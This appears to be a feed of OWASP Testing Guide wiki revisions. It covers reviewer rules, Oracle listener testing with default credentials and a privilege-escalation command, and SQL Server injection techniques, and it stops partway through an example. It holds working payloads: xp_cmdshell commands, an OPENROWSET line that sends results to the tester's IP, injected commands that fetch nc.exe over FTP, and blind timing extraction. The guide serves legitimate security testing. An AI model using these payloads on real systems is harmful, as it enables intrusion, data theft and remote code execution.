* '''Appendix A: Testing Tools --&amp;gt;Review and updated by Meucci'''&lt;br /&gt;
0 article of 1: need a paragraph to describe each OWASP tool&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt; Stefano Di Paola'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DB_Listener_(OWASP-CM-002)&amp;diff=13609</id>
		<title>Testing for DB Listener (OWASP-CM-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DB_Listener_(OWASP-CM-002)&amp;diff=13609"/>
				<updated>2006-11-23T15:48:21Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The Data base listener is a network daemon unique to Oracle databases. It waits for connection requests from remote clients.&lt;br /&gt;
This daemon can be compromised and hence affect the availability of the database.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The DB listener is the entry point for remote connections to an Oracle database. It listens for connection requests and handles them accordingly. This test is possible, if the tester can access to this service: that means the test should be done from the Intranet (major Oracle installation don't expose this service to the external network).&lt;br /&gt;
The listener by default listens on port 1521(port 2483 is the new officially registered port for the TNS Listener and 2484 for the TNS Listener using SSL), it is good practice to change the listener from this port to another arbitrary port number.&lt;br /&gt;
&amp;lt;BR&amp;gt;If this listener is &amp;quot;turned off&amp;quot; remote access to the database is not possible. If this is the case ones application would fail also creating a denial of service attack. &amp;lt;BR&amp;gt;&lt;br /&gt;
'''Potential areas of attack:'''&lt;br /&gt;
*Stop the Listener - Hence creating a DoS attack.&lt;br /&gt;
*Set a password and prevent others from controlling the Listener - Hijack the DB.&lt;br /&gt;
*Write trace and log files to any file accessible to the process owner of tnslnsr (usually Oracle) - Possible information leakage.&lt;br /&gt;
*Obtain detailed information on the Listener, database, and application configuration.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Upon discovering the port on which the listener resides one can assess the listener by running a tool developed by Integrigy:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Listener_Test.JPG]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;BR&amp;gt;The tool above checks the following:&amp;lt;BR&amp;gt;&lt;br /&gt;
'''Listener Password'''&lt;br /&gt;
On many Oracle systems the listener password may not be set. The tool above verifies this.&lt;br /&gt;
If the password is not set an attacker could set the password  and hijack the listener, albeit the password can be removed by locally editing the Listener.ora file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Enable Logging'''&lt;br /&gt;
The tool above also tests to see if logging has been enabled. If it has not one would not detect any change to the listener/or have a record of it and also detection of brute force attacks on the listener would not be audited.&lt;br /&gt;
&lt;br /&gt;
'''Admin Restrictions'''&lt;br /&gt;
If Admin restrictions are not enabled it is possible to use the &amp;quot;SET&amp;quot; commands remotely.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
If you find a TCP/1521 open port on a server, maybe you have an Oracle Listener that accepts connections from the outside. If the listener is not protected by an authentication mechanism, or you can find easily a credential (as said above), it is possible to exploit this vulnerability to enumerate the Oracle services. For example, using LSNRCTL(.exe) (contained in every Client Oracle installation), you can obtain the following output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TNSLSNR for 32-bit Windows: Version 9.2.0.4.0 - Production&lt;br /&gt;
TNS for 32-bit Windows: Version 9.2.0.4.0 - Production&lt;br /&gt;
Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production&lt;br /&gt;
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production&lt;br /&gt;
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production,,&lt;br /&gt;
SID(s): SERVICE_NAME = CONFDATA&lt;br /&gt;
SID(s): INSTANCE_NAME = CONFDATA&lt;br /&gt;
SID(s): SERVICE_NAME = CONFDATAPDB&lt;br /&gt;
SID(s): INSTANCE_NAME = CONFDATA&lt;br /&gt;
SID(s): SERVICE_NAME = CONFORGANIZ&lt;br /&gt;
SID(s): INSTANCE_NAME = CONFORGANIZ&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Oracle Listener permits to enumerate default users on Oracle Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
User name	Password&lt;br /&gt;
OUTLN	        OUTLN&lt;br /&gt;
DBSNMP	        DBSNMP&lt;br /&gt;
BACKUP	        BACKUP&lt;br /&gt;
MONITOR	        MONITOR&lt;br /&gt;
PDB	        CHANGE_ON_INSTALL&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, we have not founded privileged DBA accounts, but OUTLN and BACKUP accounts hold a fundamental privilege: EXECUTE ANY PROCEDURE. That means that it is possible to execute all procedures, for example the following:&lt;br /&gt;
&lt;br /&gt;
 exec dbms_repcat_admin.grant_admin_any_schema('BACKUP');&lt;br /&gt;
&lt;br /&gt;
The execution of this command permit to obtain DBA privileges. Now the user can interact directly with the DB and execute for example:&lt;br /&gt;
 &lt;br /&gt;
 select * from session_privs ;&lt;br /&gt;
&lt;br /&gt;
The output is the following screenshot:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:ToadListener2.PNG]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So the user can now execute a lot of operations, in particular:&lt;br /&gt;
DELETE ANY TABLE &lt;br /&gt;
DROP ANY TABLE.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Oracle Database Listener Security Guide - http://www.integrigy.com/security-resources/whitepapers/Integrigy_Oracle_Listener_TNS_Security.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Toad for Oracle - http://www.quest.com/toad&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13555</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13555"/>
				<updated>2006-11-22T17:43:53Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that it can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated and, even if it works to all SQL Server versions up to 2005, might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
===Example 8: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
One of the most useful commands in SQL Server (at least for the penetration tester) is the OPENROWSET command, which is used to run a query on another DB Server and retrieve the result. We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
